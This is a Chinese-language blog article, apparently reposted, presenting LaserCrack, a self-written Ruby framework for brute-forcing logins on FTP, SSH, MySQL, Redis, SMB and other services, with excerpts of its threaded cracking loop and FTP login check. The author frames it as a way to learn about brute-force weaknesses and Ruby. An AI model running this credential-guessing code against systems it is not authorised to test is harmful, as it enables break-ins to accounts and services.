LaserCrack:一款可扩展的暴力破解框架

栏目: Ruby · 发布时间: 6年前

内容简介:lasercrack是一款爆力破解工具,现如今市面上常见的暴力工具如hydra,medusa都有着不错的破解效率,不过我还没有找到ruby写的,一方面是想从原理上理解下暴力破解漏洞,另一方面练习一下ruby语言。此工具配置成交互式终端界面,服务爆破脚本可自定义。主目录中lasercrack.rb控制整体流程,接受用户参数并作出响应。

0×01 简单说明

lasercrack是一款爆力破解工具,现如今市面上常见的暴力 工具 如hydra,medusa都有着不错的破解效率,不过我还没有找到 ruby 写的,一方面是想从原理上理解下暴力破解漏洞,另一方面练习一下ruby语言。此工具配置成交互式终端界面,服务爆破脚本可自定义。

0×02 工具结构

主目录中lasercrack.rb控制整体流程,接受用户参数并作出响应。

LaserCrack:一款可扩展的暴力破解框架

utils目录中framework.rb是框架核心文件,控制与线程池相关,提供了三种方式的爆破,即单用户<=>单密码,单用户<=>多密码,单密码<=>多用户,目前暂不支持的多用户<=>多密码。其余文件是服务爆破相关文件,其中分为service.rb和serviceattack.rb。

LaserCrack:一款可扩展的暴力破解框架

0×03 源码说明

初始化函数定义了一些基本变量可以让用户自行设置,同时载入所有可用的服务爆破类。

def initialize
      @module = "nil"
      @ip = "nil"
      @port = 0
      @username = "nil"
      @password = "nil"
      @user_file = "nil"
      @pass_file = "nil"
      @verbose = false
      @threads = 10
      @timeout = 10
      @exploithash = {
          "ftp" => FtpAttack.new,
          "ssh" => SshAttack.new,
          "mysql" => MysqlAttack.new,
          "mssql" => MssqlAttack.new,
          "smb" => SmbAttack.new,
          "redis" => RedisAttack.new,
          "mongo" => MongoAttack.new,
          "telnet" => TelnetAttack.new,
          "oracle" => OracleAttack.new,
          "vnc" => VncAttack.new,
      }
    end  

参数校验函数针对用户输入或未输入的信息进行判断可以使用哪种爆破模式,对还未达到利用条件的参数抛出未定义。

def checkarg
      flag = true
      if @user_file == "nil" and @pass_file == "nil"
        puts "[*] Exploit by ip/ips..".light_blue
        tmphash = {"ip" => @ip, "port" => @port, "username" => @username, "password" => @password}
        tmphash.each {|key, value|
          if value == "nil" or value == 0
            tmpstr = "[-] "+key+" => "+value.to_s+"    ".light_red
            puts tmpstr.light_red
            flag = false
          end
        }
      else
        return false
      end
      return flag
    end

爆力破解函数载入线程池并批量对服务进行穷举尝试。其中在verbose为false的情况下使用processbar模块动态显示进程条信息。

def exploit_ips_template
      $semaphore = Mutex.new
      $COUNTER = 0
      $OFFSET = 0
      puts "[*] Starting crack the #{@module}..".light_blue
      puts "[*] target ip: "+@ip.light_blue
      puts "[*] target port: "+@port.light_blue
      @exploithash.each { |key, value|
        if key == @module
          iplist = checkcidr_iprange
          if not iplist.nil?
            pool = ThreadPool.new(@threads)
            exploitips = value
            iplist.each { |item|
              pool.process {
                  if exploitips.attack_once(item, @port.to_i, @username, @password, @timeout)
                    result = "[+] Crack it!"+" "*6+item+" "*6+@username+":"+@password
                    $OFFSET += 1
                    $semaphore.lock
                    puts result.light_green
                    $semaphore.unlock
                  else
                    if @verbose
                      $semaphore.lock
                      puts "["+getnow+"]".light_white+" "*6+"Not found! ==> "+item.light_red
                      $semaphore.unlock
                    else
                      $semaphore.lock
                      progressbar = ProgressBar.create(:format => 'Processing: |%b>>%i| %p%% %t', :starting_at => $COUNTER, :total => iplist.length-$OFFSET-1)
                      $semaphore.unlock
                      $COUNTER += 1
                      sleep 0.05
                      if progressbar.finished?
                        puts "finished".light_blue
                      end
                    end
                  end
              }
            }
            gets
          end
        end
      }
    end

服务登录验证函数对用户提供的信息进行验证,返回true或false表明是否可登录成功。用ftp举例,其他服务脚本类似,不做赘述。

def hit
        begin
            ftp = Net::FTP.new
            ftp.read_timeout = @timeout
            ftp.open_timeout = @timeout
            ftp.connect(@ip, @port)
            ftp.login(@user, @password)
            result = ftp.lastresp
            ftp.close
            if result == "200"
                return true
            else
                return false
            end
        rescue
            return false
        end
    end

0×04 样例测试

测试本地mysql。

LaserCrack:一款可扩展的暴力破解框架

由于字典比较小很快就可以出结果。

LaserCrack:一款可扩展的暴力破解框架

设置verbose为true,显示攻击详细信息。

LaserCrack:一款可扩展的暴力破解框架

0×05 扩展支持服务

如需自己扩充暴力破解服务,需要修改下面几个地方:

lasercrack.rb中将对应的服务添加到数组和字典中,字典里指定对应的端口信息。

LaserCrack:一款可扩展的暴力破解框架

framework.rb中引入对应的attack文件,默认都在utils目录中编写。

LaserCrack:一款可扩展的暴力破解框架 同时init函数中添加exploithash,show函数中增加显示。


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

极简人工智能

极简人工智能

[英] 理查德·温 / 有道人工翻译、吴乔 / 电子工业出版社 / 2018-3-1 / 50

本书以通俗的语言和生动的案例带领你探索人工智能的世界,全面展示人工智能的概念、理论框架与应用价值,探讨人工智能的过去和将来,是一本深入浅出的人工智能通识书。从蚂蚁习性谈到股票市场,本书将带领你开启人工智能的奇幻之旅。一起来看看 《极简人工智能》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具